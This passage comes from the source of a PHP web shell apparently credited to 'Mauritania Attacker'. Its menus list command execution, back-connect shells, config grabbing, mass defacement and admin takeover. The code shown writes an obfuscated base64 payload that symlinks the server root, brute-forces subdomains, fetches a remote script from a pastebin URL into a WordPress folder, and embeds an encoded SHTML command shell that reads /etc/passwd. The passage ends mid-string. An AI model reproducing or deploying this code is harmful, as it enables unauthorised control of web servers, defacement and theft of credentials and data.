6996$shellexcexce = 'PGhlYWQ+DQo8dGl0bGU+QnlwYXNzIEJ5cGFzcyBSb290IFBhdGggYnkgTWF1cml0YW5pYSBBdHRhY2tlcjwvdGl0bGU+DQo8L2hlYWQ+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vYy91L2N1MWJtcGdiMWsuaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPjwhLS0gYm9keSB7YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7IGZvbnQtZmFtaWx5OkNvdXJpZXIJbWFyZ2luLWxlZnQ6IDBweDsgbWFyZ2luLXRvcDogMHB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7IE5ldztmb250LXNpemU6MTJweDtjb2xvcjojMDA4ODAwO2ZvbnQtd2VpZ2h0OjQwMDt9IGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fSBhOmxpbmsge2NvbG9yOiMwMDk5MDA7fSBhOnZpc2l0ZWQge2NvbG9yOiMwMDg4MDA7fSBhOmhvdmVye2NvbG9yOiMwMGJiMDA7fSBhOmFjdGl2ZSB7Y29sb3I6IzAwOTkwMDt9IC0tPjwhLS0gTWFkZSBCeSBNYXVyaXRhbmlhIEF0dGFja2VyIC0tPg0KPC9zdHlsZT48YnI+PGJyPjxib2R5IGJnQ29sb3I9IjAwMDAwMCI+PHRyPjx0ZD48P3BocCBlY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJz4iIDsgDQplY2hvICI8Y2VudGVyPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdCeXBhc3MgaXQnIG5hbWU9J3NoZWxsX2V4ZWNlcic+PC9jZW50ZXI+IjsgDQppZiAoaXNzZXQoJF9QT1NUWydzaGVsbF9leGVjZXInXSkpeyBzaGVsbF9leGVjKCdsbiAtcyAvIHJvb3Qtc2hlbGxfZXhlYy50eHQnKTsgDQokZnZja2VtID0nVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCemMzTnpjM011YUhSdERRcEJaR1JVZVhCbElIUjRkQ0F1Y0dod0RRcEJaR1JJWVc1a2JHVnlJSFI0ZENBdWNHaHcnOyANCiRmaWxlID0gZm9wZW4oIi5odGFjY2VzcyIsIncrIik7ICR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGZ2Y2tlbSkpOyAkc2hlbGxfZXhlY2VyID0gc3ltbGluaygiLyIsInJvb3Qtc2hlbGxfZXhlYy50eHQiKTsgDQokcnQ9Ijxicj48YSBocmVmPXJvb3Qtc2hlbGxfZXhlYy50eHQgVEFSR0VUPSdfYmxhbmsnPjxmb250IGNvbG9yPSMwMGJiMDAgc2l6ZT0yIGZhY2U9J0NvdXJpZXIgTmV3Jz48Yj5CeXBhc3NlZCBTdWNjZXNzZnVsbHk8L2I+PC9mb250PjwvYT4iOyANCmVjaG8gIjxicj48YnI+PGI+RG9uZS4uICE8L2I+PGJyPjxicj5DaGVjayBsaW5rIGdpdmVuIGJlbG93IGZvciAvIGZvbGRlciBzeW1saW5rIDxicj4kcnQ8L2NlbnRlcj4iO30gZWNobyAiPC9mb3JtPiI7ICA/PjwvdGQ+PC90cj48L2JvZHk+PC9odG1sPg==';
6997
6998$file = fopen("shellexcexce.php" ,"w+");
6999$write = fwrite ($file ,base64_decode($shellexcexce));
7000fclose($file);
7001chmod("shellexcexce.php",0755);
7002echo "<iframe src=shellexcexce/shellexcexce.php width=60% height=60% frameborder=0></iframe>";
7003}
7004if(isset($_GET['action']) && $_GET['action'] == 'subdomainchkrezes'){
7005echo '<center><b class="conte">
7006<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
7007<a href="?action=cmd">Command Execution</a> -
7008<a href="?action=com64">Base64 Command</a> -
7009<a href="?action=vgrab">Config Grabber</a> -
7010<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
7011<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -
7012<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
7013<a href="?action=cari">Find Directory Writable/Readable</a> -
7014<a href="?action=zonh">Zone-h Notifier</a> -
7015<a href="?action=shhhshell">Shtml Command Shell</a> -
7016<a href="?action=beko">Back connect Simple</a> -
7017<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
7018<a href="?action=prlbckacnonect">Perl BackConnect</a> -
7019<a href="?action=pythnonbakcncete">Python BackConnect</a> -
7020<a href="?action=exploit">Exploit</a> -
7021<a href="?action=whmcskillrer">Whcms Killer</a> -
7022<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
7023<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
7024</center>
7025</b>';
7026echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Subdomain Checker</span><center><br>';
7027echo'<html><body><center></br>
7028<form method="post">
7029<input type="text" name="site" size="30" placeholder="Example.com">
7030<input type="submit" value="Bypass">
7031</form>
7032</font>';
7033
7034
7035set_time_limit(0);
7036$subs = array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","lan","phpmyadmin","administrator","mape","isp","shop","rex","podcast","potraga","sensation","igre","foo","api","access","ulaz","pam","sport","pretraga","pricaonica","kuvar","raketa","wwwmobile","s1","s2","foro","s3","box","open","abc","phpbb3","phpbb2","internet","phpbb","whm","mysql","webadmin","adm","admin","admins","agent","aix","recnik","alerts","av","antivirus","app","apps","appserver","archive","as400","auto","backup","banking","bbdd","bbs","bea","beta","blog","catalog","cgi","channel","channels","chat","cisco","client","clients","club","cluster","clusters","code","commerce","community","compaq","conole","consumer","contact","contracts","corporate","ceo","cso","cust","customer","cpanel","data","bd","db2","default","demo","cms","design","desktop","dev","develop","developer","device","dial","digital","dir","directory","disc","discovery","disk","dns","dns1","dns2","dns3","docs","poslovi","prijemni","znanje","mojtim","documents","domain","domains","dominoweb","download","downloads","ecommerce","e-commerce","edi","edu","education","email","enable","engine","engineer","enterprise","slike","galerija","error","event","events","example","exchange","extern","external","extranet","fax","field","finance","firewall","forum","forums","fsp","ftp","ftp2","fw","fw1","gallery","galleries","games","gateway","gopher","guest","gw","hello","helloworld","help","helpdesk","arkiva","lajme","faqe","helponline","hp","ibm","ibmdb","ids","ILMI","film","navigator","nalog","prodavnica","zdravlje","reklamiranje","zivot","images","imap","pomoc","imap4","img","imgs","info","intern","internal","intranet","invalid","iphone","ipsec","irc","ircserver","jobs","ldap","link","linux","lists","listserver","local","localhost","log","logs","login","lotus","mail","mailboxes","mailhost","result","management","manage","manager","map","maps","marketing","device","media","member","members","messenger","mngt","mobile","monitor","multimedia","music","my","names","lojra","albania","bisedo","puka","foto","emra","njohje","vip","egea-tirana","historia","forumi","vesti","administracija","net","new1","new","perkohesisht","netdata","netstats","network","news","nms","nntp","ns","ns1","ns2","ns3","ntp","online","openview","oracle","outlook","page","pages","partner","partners","pda","personal","ph","pictures","pix","pop","pop3","portal","press","print","printer","private","project","projects","proxy","public","ra","radio","raptor","ras","read","register","remote","report","reports","root","router","lister","rwhois","sac","schedules","scotty","search","secret","secure","security","seri","serv","serv2","server","service","services","shop","shopping","site","sms","smtp","smtphost","snmp","snmpd","snort","solaris","1","2","3","4","5","6","7","8","9","0","solutions","support","source","sql","ssl","stats","store","stream","streaming","sun","support","switch","sysback","system","tech","terminal","test","testing","testing123","time","tivoli","training","transfers","uddi","update","upload","uploads","video","vpn","w1","w2","w3","wais","wap","web","webdocs","weblib","weblogic","webmail","webserver","webservices","websphere","whois","wireless","work","world","write","ws","ws1","ws2","ws3","www1","www2","www3","www4","www5","www6","www7","www8","www9","drupal","wordpress","joomla","db","database","love");
7037if($_POST){
7038$url = $_POST["site"];
7039foreach($subs as $sub){
7040if(!eregi($url, gethostbyname($sub.".".$url))){
7041echo '<font face="Baskerville Old Face" color="red">[+] '.$sub.".".$url.' : </font><font color="green">'.gethostbyname($sub.".".$url).'</font></br>';
7042}else{
7043echo '<font face="Baskerville Old Face" color="red">[+] '.$sub.".".$url.' : Nothing Found</font></br>';
7044}
7045}
7046}
7047}
7048echo'</body></html>';
7049if(isset($_GET['action']) && $_GET['action'] == 'wpidxcngrdesr'){
7050echo '<center><b class="conte">
7051<a href="?action=mass">Mass Deface Dirs</a> -
7052<a href="?action=joomla">Mass Change Admin Joomla</a> -
7053<a href="?action=vb">Mass Change Admin vBulletin</a> -
7054<a href="?action=wp">Mass Change Admin WordPress</a> -
7055<a href="?action=wpandjmlamassdfce">Wordpress & Joomla Mass Deface</a> -
7056<a href="?action=wrdprshtmlinj">Wordpress Index Hijack Priv8</a> -
7057<a href="?action=joommlallainxc">Joomla Index Changer</a> -
7058<a href="?action=wpidxcngrdesr">Wordpress Index Changer</a> -
7059<a href="?action=cpnlndftpotdfr">Cpanel & Ftp Auto Defacer</a> </center>
7060</b>';
7061echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Generate Wordpress Index Changer</span></font></center><br>';
7062error_reporting(0);
7063echo "<form method='POST'><p align='center'>
7064<img border='0' src='http://blog.numericube.com/wp-content/uploads/2010/06/wordpress-logo-notext-bg.png'></p>
7065<center><font color='#777777' size='2' face='shell'>Cwd </font><input type='text' size='40' name='zero' value=".dirname(__FILE__)." <font color='green' size='8' face='Tahoma'></font></center>
7066<center><font color='#777777' size='2' face='shell'>Script </font><input type='text' size='40' name='shell' value='http://pastebin.com/raw.php?i=6kFhLVkS' <font color='green' size='8' face='Tahoma'></font></center><br>
7067<p><center><input type='submit' value=' Generate Now ' name='start'> <font color=red' face='Tahoma, Geneva, sans-serif' style='font-size: 12pt'><br></font></center></p><br>";
7068echo "<p><center><textarea class='area' rows='12' cols='60'>Results Will Appear Here ^_^ \n";
7069if($_POST['start']) {
7070$zero = $_POST['zero'];
7071$file = $_POST['shell'];
7072
7073$dir = "Wordpress";
7074if(file_exists($dir)) {
7075echo "[+] Wordpress Folder Already Exist are you drunk :o xD !\n";
7076} else {
7077@mkdir($dir); {
7078echo "[+] Wordpress Folder Has Been Created Nygga :3 !\n";
7079}
7080}
7081#Generate Wordpress Script
7082$fopen = fopen("Wordpress/Wordpress.php",'w');
7083$shell = @file_get_contents($file);
7084$swrite = fwrite($fopen ,$shell);
7085if($swrite){
7086echo "Wordpress Script Has Been Downloaded : $zero/Wordpress/Wordpress.php \n";
7087
7088} else {
7089echo "Can't Download Script :( do it manually :D \n";
7090}
7091fclose($fopen);
7092}
7093
7094echo "</textarea></center></p><pre></pre>";
7095$rt="<br><a href=Wordpress/Wordpress.php TARGET='_blank'><font color=red size=2 face='Courier New'><b>
7096Link</b></font></a>";
7097echo "<center><br><font color='#007700' size='2pt'>Click on Button Generate Now and Check link given below for Wordpress Script</font><br>$rt</center>";
7098echo '<p><center><font color="#007700" size="3pt">Generator Coded by Mauritania Attacker</font></center><br></p>';
7099}
7100
7101if(isset($_GET['action']) && $_GET['action'] == 'shhhshell'){
7102echo '<center><b class="conte">
7103<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
7104<a href="?action=cmd">Command Execution</a> -
7105<a href="?action=com64">Base64 Command</a> -
7106<a href="?action=vgrab">Config Grabber</a> -
7107<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
7108<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -
7109<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
7110<a href="?action=cari">Find Directory Writable/Readable</a> -
7111<a href="?action=zonh">Zone-h Notifier</a> -
7112<a href="?action=shhhshell">Shtml Command Shell</a> -
7113<a href="?action=beko">Back connect Simple</a> -
7114<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
7115<a href="?action=prlbckacnonect">Perl BackConnect</a> -
7116<a href="?action=pythnonbakcncete">Python BackConnect</a> -
7117<a href="?action=exploit">Exploit</a> -
7118<a href="?action=whmcskillrer">Whcms Killer</a> -
7119<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
7120<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
7121</center>
7122</b>';
7123
7124//extract shtml shell
7125$ROFL = 'PCEtLSNjb25maWcgZXJybXNnPSJbRXJyb3IsIE1heWJlIGNhdXNlIG9mIHRoZSBzZWN1cml0eSBvZiB0aGUgc2VydmVyIDooXSItLT4gIA0KPCEtLSNjb25maWcgc2l6ZWZtdD0iYnl0ZXMiLS0+ICANCg0KPCEtLSNpZiBleHByPSIoXCIkSFRUUF9DT09LSUVcIiA9IFwiXCIpIHx8IChcIiRSRVFVRVNUX01FVEhPRFwiICE9IFwiR0VUXCIpIiAtLT4gIA0KICAgIDwhLS0jc2V0IHZhcj0ic2hsIiB2YWx1ZT0ibHMgLWFsIiAtLT4gIA0KPCEtLSNlbHNlIC0tPiAgDQogICAgPCEtLSNzZXQgdmFyPSJzaGwiIHZhbHVlPSRIVFRQX0NPT0tJRSAtLT4gIA0KPCEtLSNlbmRpZiAtLT4gIA0KDQo8IS0tI2lmIGV4cHI9IihcIiRIVFRQX0NPT0tJRVwiID0gXCJcIikgfHwgKFwiJFJFUVVFU1RfTUVUSE9EXCIgIT0gXCJQT1NUXCIpIiAtLT4gIA0KICAgIDwhLS0jc2V0IHZhcj0iaW5jIiB2YWx1ZT0iLy4uLy4uLy4uLy4uLy4uLy4uLy4uL2V0Yy9wYXNzd2QiIC0tPiAgDQo8IS0tI2Vsc2UgLS0+ICANCiAgICA8IS0tI3NldCB2YXI9ImluYyIgdmFsdWU9JEhUVFBfQ09PS0lFIC0tPiAgDQo8IS0tI2VuZGlmIC0tPiAgDQo8aHRtbD4gDQo8aGVhZD4gDQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyI+IA0KPG1ldGEgY2hhcnNldD0iVVRGLTgiLz4gDQo8dGl0bGU+U2h0bWwgQ2dpIFNoZWxsPC90aXRsZT4gDQo8c3R5bGU+IA0KPCEtLSANCmJvZHkgICAgICAgICB7IGZvbnQtZmFtaWx5OiBzaGVsbDsgZm9udC1zaXplOiA4cHQgfSANCi0tPiANCmJvZHkge2ZvbnQtZmFtaWx5OiBzaGVsbDsgZm9udC1zaXplOiA5cHQ7YmFja2dyb3VuZC1jb2xvcjojMjIyMjIyO2NvbG9yOiMwMDk5MDA7dGV4dC1zaGFkb3c6MHB4IDBweCAxcHggYmxhY2s7fSANCmEge2ZvbnQtc2l6ZToxNXB4O2NvbG9yOiMwMDk5MDA7fSANCi5hcmVhIHsgY29sb3I6ICMwMGJiMDA7IGZvbnQtc2l6ZTogOXB0OyB0ZXh0LXNoYWRvdzojMDAwMDAwIDBweCAycHggN3B4OyBib3JkZXI6IHNvbGlkIDBweCAjMDA3NzAwOyBiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDA5OTAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiKDAsMTE5LDApIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiKDAsMTE5LDApIDBweCAwcHggNHB4OyB9DQppbnB1dFt0eXBlPXN1Ym1pdF17IHBhZGRpbmc6IDNweDsgY29sb3I6ICMwMDc3MDsgIGZvbnQtd2VpZ2h0OiBib2xkOyB0ZXh0LWFsaWduOiBjZW50ZXI7ICB0ZXh0LXNoYWRvdzogMCAxcHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjMpOyAgYmFja2dyb3VuZDogI2FlYWVhZTsgIGJhY2tncm91bmQtY2xpcDogcGFkZGluZy1ib3g7ICBib3JkZXI6IDFweCBzb2xpZCAjMjg0NDczOyAgYm9yZGVyLWJvdHRvbS1jb2xvcjogIzIyM2I2NjsgIGJvcmRlci1yYWRpdXM6IDRweDsgIGN1cnNvcjogcG9pbnRlcjsgIGJhY2tncm91bmQtaW1hZ2U6LXdlYmtpdC1saW5lYXItZ3JhZGllbnQodG9wLCAjZWFlYWVhLCAjZDBkMGQwKTsgIGJhY2tncm91bmQtaW1hZ2U6IC1tb3otbGluZWFyLWdyYWRpZW50KHRvcCwgI2VhZWFlYSwgI2QwZDBkMCk7ICBiYWNrZ3JvdW5kLWltYWdlOiAtby1saW5lYXItZ3JhZGllbnQodG9wLCAjZWFlYWVhLCAjZDBkMGQwKTsgIGJhY2tncm91bmQtaW1hZ2U6IGxpbmVhci1ncmFkaWVudCh0byBib3R0b20sICNlYWVhZWEsICNkMGQwZDApOyAgLXdlYmtpdC1ib3gtc2hhZG93OiBpbnNldCAwIDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNSksIGluc2V0IDAgMCA3cHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjQpLCAwIDFweCAxcHggcmdiYSgwLCAwLCAwLCAwLjE1KTsgIGJveC1zaGFkb3c6IGluc2V0IDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC41KSwgaW5zZXQgMCAwIDdweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNCksIDAgMXB4IDFweCByZ2JhKDAsIDAsIDAsIDAuMTUpOyB9DQppbnB1dFt0eXBlPXRleHRdeyBwYWRkaW5nOiAzcHg7IGNvbG9yOiAjMDA5OTAwOyB0ZXh0LXNoYWRvdzogIzc3Nzc3NyAwcHggMHB4IDNweDsgYm9yZGVyOiAxcHggc29saWQgIzAwNzcwMDsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMDc3MDA7ICAgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsNCiAgIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OyAgIGJvcmRlci1yYWRpdXM6IDRweDsgICAtd2Via2l0LWJveC1zaGFkb3c6IHJnYig4NSw4NSw4NSkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2IoODUsODUsODUpIDBweCAwcHggNHB4O30NCmlucHV0W3R5cGU9c3VibWl0XTpob3ZlciwgaW5wdXRbdHlwZT10ZXh0XTpob3ZlcnsgY29sb3I6ICNmZmZmZmY7IHRleHQtc2hhZG93OiAjMDA2NjAwIDBweCAwcHggNHB4OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDBkZDAwOyBib3JkZXI6IDFweCBzb2xpZCAjMDBkZDAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7DQogICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2JhKDAsMTE5LDApIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiYSgwLDExOSwwKSAwcHggMHB4IDRweDt9DQo8L3N0eWxlPiANCjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPiAgDQpmdW5jdGlvbiBkb2l0KCBtb2RlICkgeyAgDQogICAgaWYoIGRvY3VtZW50LmNvb2tpZSAhPSAiIiApIHsgIA0KICAgICAgICB2YXIgY29va2llcyA9IGRvY3VtZW50LmNvb2tpZS5zcGxpdCggIjsiICk7ICANCiAgICAgICAgZm9yKCB2YXIgaSA9IDA7IGkgPCBjb29raWVzLmxlbmd0aDsgKytpICkgICANCiAgICAgICAgICAgIGRvY3VtZW50LmNvb2tpZSA9IGNvb2tpZXNbIGkgXSArICI7ZXhwaXJlcz1UaHUsIDAxIEphbiAxOTcwIDAwOjAwOjAwIEdNVCI7ICANCiAgICB9ICANCiAgICBkb2N1bWVudC5jb29raWUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCggbW9kZSApLnZhbHVlOyAgDQogICAgZG9jdW1lbnQubG9jYXRpb24ucmVsb2FkKCk7ICANCn0gIA0KZnVuY3Rpb24gdG9nZ2xlKCBpZCApIHsgIA0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCBpZCApLnN0eWxlLmRpc3BsYXkgPSAoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIGlkICkuc3R5bGUuZGlzcGxheSA9PSAibm9uZSIpID8gImJsb2NrIiA6ICJub25lIjsgIA0KfSAgDQo8L3NjcmlwdD4gIA0KPC9oZWFkPiANCjxib2R5PiANCjxkaXYgYWxpZ249ImNlbnRlciI+IA0KICAgIDx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSIxMDAlIiBpZD0idGFibGUxIiBzdHlsZT0iYm9yZGVyOiAxcHggZG90dGVkICMwMDc3MDAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCIgaGVpZ2h0PSI1MDIiPiANCiAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBzdHlsZT0iYm9yZGVyOiAxcHggZG90dGVkICMwMDc3MDAiIHZhbGlnbj0idG9wIiByb3dzcGFuPSIyIj4gDQogICAgICAgICAgICAgICAgPHAgYWxpZ249ImNlbnRlciI+PGI+IA0KICAgICAgICAgICAgICAgIDxmb250IGZhY2U9InNoZWxsIiBzaXplPSIyIj48YnI+IA0KICAgICAgICAgICAgICAgIDwvZm9udD4gDQogICAgICAgICAgICAgICAgPGZvbnQgY29sb3I9IiNlNmU2ZTYiIGZhY2U9InNoZWxsIiBzaXplPSIyIj4gDQogICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSI+IA0KICAgICAgICAgICAgICAgIDxmb250IGNvbG9yPSIjMDBiYjAwIj4gDQogICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSI+PGZvbnQgb25jbGljaz0idG9nZ2xlKCdpbmYnKTsiIHN0eWxlPSJjdXJzb3I6aGFuZDsiIGNvbG9yPSIjMDA5OTAwIj5TZXJ2ZXIgRGV0YWlsczwvZm9udD48L3NwYW4+PC9mb250Pjwvc3Bhbj48L2ZvbnQ+PC9iPjwvcD4gDQogICAgICAgICAgICAgICAgPHAgYWxpZ249ImNlbnRlciI+PGI+IA0KICAgICAgICAgICAgICAgIDxmb250IG9uY2xpY2s9InRvZ2dsZSgnc2hsJyk7IiBzdHlsZT0iY3Vyc29yOmhhbmQ7IiBmYWNlPSJzaGVsbCIgc2l6ZT0iMiIgY29sb3I9IiMwMDk5MDAiPiANCiAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj5Db21tYW5kPC9zcGFuPjwvZm9udD48L2I+PC9wPiANCiAgICAgICAgICAgICAgICA8cCBhbGlnbj0iY2VudGVyIj48Yj4gDQogICAgICAgICAgICAgICAgPGZvbnQgZmFjZT0ic2hlbGwiIHNpemU9IjIiIGNvbG9yPSIjMDBiYjAwIj4gDQogICAgICAgICAgICAgICAgPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogbm9uZSI+PGZvbnQgb25jbGljaz0idG9nZ2xlKCdpbmMnKTsiIHN0eWxlPSJjdXJzb3I6aGFuZDsiIGNvbG9yPSIjMDA5OTAwIj5WaWV3IEZpbGVzPC9mb250Pjwvc3Bhbj48L2ZvbnQ+PC9iPjwvcD4gDQogICAgICAgICAgICAgICAgPHA+Jm5ic3A7PHAgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC90ZD4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSI0MjIiIHdpZHRoPSI4MiUiIHN0eWxlPSJib3JkZXI6IDFweCBkb3R0ZWQgIzAwNzcwMCIgYWxpZ249ImNlbnRlciI+IA0KICAgICAgICAgICAgPGZvbnQgY29sb3I9JyMwMDk5MDAnIHNpemU9JzInPlNvZndhcmUgOiA8IS0tI2VjaG8gdmFyPSJTRVJWRVJfU09GVFdBUkUiIC0tPjxicj5JUCA6PCEtLSNlY2hvIHZhcj0iUkVNT1RFX0FERFIiIC0tPjwvZm9udD48YnI+IA0KICAgICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwgQmxhY2snIGNvbG9yPScjMDA5OTAwJyBzaXplPScxJz4gDQoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio8YnI+IA0KPGRpdiBpZD0iaW5mIiBzdHlsZT0iIj48YnI+ICANCjxiPjxmb250IGNvbG9yPSIjMDBiYjAwIj5Db25uZWN0IFNlcnZlcjwvZm9udD48L2I+OiZuYnNwOyZuYnNwOyZuYnNwOzxiPjwhLS0jZWNobyB2YXI9IlNFUlZFUl9OQU1FIiAtLT48L2I+PGJyPiAgDQo8Yj48Zm9udCBjb2xvcj0iIzAwYmIwMCI+UmVtb3RlIElwPC9mb250PjwvYj46Jm5ic3A7Jm5ic3A7Jm5ic3A7PGI+PCEtLSNlY2hvIHZhcj0iUkVNT1RFX0FERFIiIC0tPjwvYj48YnI+ICANCjxiPjxmb250IGNvbG9yPSIjMDBiYjAwIj5TZXJ2ZXIgU29mdHdhcmU8L2ZvbnQ+PC9iPjombmJzcDsmbmJzcDsmbmJzcDs8Yj48IS0tI2VjaG8gdmFyPSJTRVJWRVJfU09GVFdBUkUiIC0tPjwvYj48YnI+IA0KPGI+PGZvbnQgY29sb3I9IiMwMGJiMDAiPkN1cnJlbnQgRGlyPC9mb250PjwvYj46Jm5ic3A7Jm5ic3A7Jm5ic3A7PGI+PCEtLSNlY2hvIHZhcj0iRE9DVU1FTlRfUk9PVCIgLS0+PC9iPjxicj4gIA0KPGJyPjwvZGl2PiANCjxkaXYgIGJvcmRlcj0iMCIgaWQ9InNobCIgc3R5bGU9IiI8IS0tI2lmIGV4cHI9IlwiJFJFUVVFU1RfTUVUSE9EXCIgIT0gXCJHRVRcIiIgLS0+ZGlzcGxheTpibG9jazs8IS0tI2VuZGlmIC0tPj4gIA0KPGJyPjxiPjxmb250IGNvbG9yPSIjMDBiYjAwIj5FbnRlciBjb21tYW5kPC9mb250PjwvYj46Jm5ic3A7Jm5ic3A7Jm5ic3A7PGZvcm0gbWV0aG9kPWdldCBvbnN1Ym1pdD1kb2l0KCdjb21tYW5kJyk7PjxpbnB1dCB0eXBlPXRleHQgc2l6ZT04MCB2YWx1ZT1kaXIgaWQ9Y29tbWFuZD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Q29tbWFuZD48L2Zvcm0+PGJyPiAgDQo8Y2VudGVyPjxiPjxmb250IHNpemU9KzE+UmVzdWx0czwvZm9udD48L2I+PC9jZW50ZXI+ICANCjxicj4gIA0KPGI+PGZvbnQgY29sb3I9IiMwMGJiMDAiPkV4ZWN1dGUgY29tbWFuZDwvZm9udD48L2I+OiZuYnNwOyZuYnNwOyZuYnNwOzxiPjwhLS0jZWNobyB2YXI9c2hsIC0tPjwvYj48YnI+ICANCjx0ZXh0YXJlYSBjbGFzcz0iYXJlYSIgY29scz0iMTIxIiByb3dzPSIxNSI+ICANCjwhLS0jZXhlYyBjbWQ9JHNobCAtLT4gIA0KPC90ZXh0YXJlYT4gIA0KPC9kaXY+ICANCjxkaXYgaWQ9ImluYyIgc3R5bGU9ImRpc3BsYXk6bm9uZSI+PCEtLSNpZiBleHByPSJcIiRSRVFVRVNUX01FVEhPRFwiICE9IFwiUE9TVFwiIiAtLT48IS0tI2VuZGlmIC0tPjxicj4gIA0KPGI+PGZvbnQgY29sb3I9IiMwMGJiMDAiPkVudGVyIFRoZSBGaWxlIE5hbWUgPC9mb250PjwvYj46Jm5ic3A7Jm5ic3A7Jm5ic3A7PGZvcm0gbWV0aG9kPXBvc3Qgb25zdWJtaXQ9ZG9pdCgndmZpbGUnKTs+PGlucHV0IHR5cGU9dGV4dCBzaXplPTgwIGlkPXZmaWxlPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1SdW4+PC9mb3JtPjxicj4gIA0KPGI+PGZvbnQgY29sb3I9IiMwMGJiMDAiPk9wZW4gRmlsZTwvZm9udD48L2I+OiZuYnNwOyZuYnNwOyZuYnNwOzxiPjwhLS0jZWNobyB2YXI9aW5jIC0tPjwvYj48YnI+ICANCjxiPjxmb250IGNvbG9yPSIjMDBiYjAwIj5TaXplIDwvZm9udD48L2I+OiZuYnNwOyZuYnNwOyZuYnNwOzxiPjwhLS0jZnNpemUgdmlydHVhbD0kaW5jIC0tPiZuYnNwO2J5dGVzPC9iPjxicj4gIA0KPHRleHRhcmVhIGNsYXNzPSJhcmVhIiBjb2xzPSIxMjEiIHJvd3M9IjE1Ij4gIA0KPCEtLSNpbmNsdWRlIHZpcnR1YWw9JGluYyAtLT4gIA0KPC90ZXh0YXJlYT4gIA0KPGJyPjwvZGl2PiAgDQoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio8L2ZvbnQ+PC9zcGFuPjwvcD4gDQoNCiAgICAgICAgICAgICANCiAgICAgICAgICAgIDwvdGQ+IA0KICAgICAgICA8L3RyPiANCiAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBzdHlsZT0iYm